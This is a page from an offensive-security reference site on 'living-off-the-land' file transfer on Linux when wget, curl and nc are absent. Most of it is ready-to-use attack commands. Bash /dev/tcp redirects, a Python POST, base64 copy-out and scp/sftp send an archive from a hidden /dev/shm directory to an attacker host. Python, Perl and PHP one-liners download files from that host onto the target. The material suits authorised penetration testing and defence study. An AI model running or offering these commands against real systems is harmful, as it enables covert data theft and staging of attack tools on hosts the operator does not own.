# Linux File Transfer Without Common Tools

> Living-off-the-land file transfer techniques for Linux using built-in utilities like /dev/tcp, base64, and proc when wget/curl/nc are unavailable.

- **URL:** https://hackindex.io/platforms/linux/data-exfiltration/file-transfer-without-tools
- **Path:** Linux > Data Exfiltration
- **Up:** [Data Exfiltration](https://hackindex.io/platforms/linux/data-exfiltration.md)
- **Published:** 2026-03-16
- **Updated:** 2026-07-14

Not every Linux host has `wget`, `curl`, `nc`, or `scp` available. Restricted environments, minimal containers, and hardened installs strip these out. This page covers transfer methods built from what is almost always present: bash, Python, Perl, and the filesystem itself.

This works in both directions: getting files onto a target and getting files off it.

Methods covered on this page:

- Bash `/dev/tcp` for raw TCP transfers
- Python one-liners for HTTP download and upload
- Perl and PHP download alternatives
- Base64 encoding for text-only channels
- SCP/SFTP when SSH access exists

## Serving Files from Your Attacker Machine

Before covering transfer methods, the simplest way to serve files is Python's built-in HTTP server. Run this on your attacker machine in the directory containing your files:

```bash
python3 -m http.server $LPORT
```

Then fetch from the target using any available method below.

## Bash /dev/tcp

No tools at all: just bash. Works for both uploading and downloading over TCP.

Download a file from your attacker machine:

```bash
exec 3<>/dev/tcp/$LHOST/$LPORT
echo -e "GET /archive.tar.gz HTTP/1.0\r\nHost: $LHOST\r\n\r\n" >&3
cat <&3 > /tmp/archive.tar.gz
```

Upload a file to a netcat listener on your attacker machine:

```bash
# On attacker machine first:
nc -lvnp $LPORT > received_file

# On target:
cat /dev/shm/.work/archive.tar.gz > /dev/tcp/$LHOST/$LPORT
```

`/dev/tcp` is a bash built-in: it does not spawn any process and leaves no binary in the filesystem.

## Python HTTP Download

If Python is present, this is the most reliable single-line download:

```bash
python3 -c "import urllib.request; urllib.request.urlretrieve('http://$LHOST:$LPORT/file', '/tmp/file')"
python -c "import urllib; urllib.urlretrieve('http://$LHOST:$LPORT/file', '/tmp/file')"
```

## Python HTTP Upload

Serve a file from the target back to your machine using Python's HTTP server in a writable directory, then fetch it:

```bash
cd /dev/shm/.work && python3 -m http.server $LPORT
```

Then on your attacker machine:

```bash
wget http://$TARGET_IP:$LPORT/archive.tar.gz
```

Alternatively, use Python to POST the file directly:

```bash
python3 -c "
import urllib.request, urllib.parse
with open('/dev/shm/.work/archive.tar.gz', 'rb') as f:
    data = f.read()
req = urllib.request.Request('http://$LHOST:$LPORT/upload', data=data, method='POST')
urllib.request.urlopen(req)
"
```

Receive with a simple netcat listener or a Python HTTP server with upload support.

## Download

#### Perl Download

```bash
perl -e 'use LWP::Simple; getstore("http://$LHOST:$LPORT/file", "/tmp/file");'
```

If LWP is not available, fall back to raw sockets:

```bash
perl -e 'use Socket; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); connect(S,sockaddr_in($LPORT,inet_aton("$LHOST"))); open(STDOUT,">&S"); print "GET /file HTTP/1.0\r\n\r\n"; while(<S>){print}'
```

#### PHP Download

Common on web servers where PHP is the only available interpreter:

```bash
php -r "file_put_contents('/tmp/file', file_get_contents('http://$LHOST:$LPORT/file'));"
```

## Base64 Over the Terminal

When there is no network path at all: only a command injection that returns output, or a session where you can only read stdout: encode the file and copy-paste it out.

On the target:

```bash
base64 /dev/shm/.work/archive.tar.gz
```

Copy the output from your terminal, then decode on your attacker machine:

```bash
echo '<PASTE_BASE64_HERE>' | base64 -d > archive.tar.gz
```

For large files, split first to keep chunks manageable:

```bash
base64 /dev/shm/.work/archive.tar.gz | split -b 10000 - chunk_
cat chunk_aa
# copy, paste, continue with chunk_ab etc.
```

This is slow but works with zero network tooling required.

## SCP and SFTP When SSH Is Available

If SSH credentials or keys are available and the target can reach your attacker machine:

```bash
scp /dev/shm/.work/archive.tar.gz $USER@$LHOST:/tmp/
```

```bash
sftp $USER@$LHOST <<EOF
put /dev/shm/.work/archive.tar.gz /tmp/
EOF
```

Both are covered in more depth under the SSH service data exfiltration page.

## Checking Available Linux File Transfer Methods Without Tools

Before picking a method, run a quick check:

```bash
which python3 python perl php ruby bash curl wget nc scp 2>/dev/null
```

Work from the top of the list downward. `bash` with `/dev/tcp` and `python3` cover the vast majority of cases on modern Linux systems.

## References

- [bash(1) ](https://man7.org/linux/man-pages/man1/bash.1.html) -  Linux man page Reference for /dev/tcp and /dev/udp pseudo-device support in bash.
- [Python 3 urllib.request](https://docs.python.org/3/library/urllib.request.html) - Python documentation Reference for urlretrieve and Request usage in Python 3 one-liners.
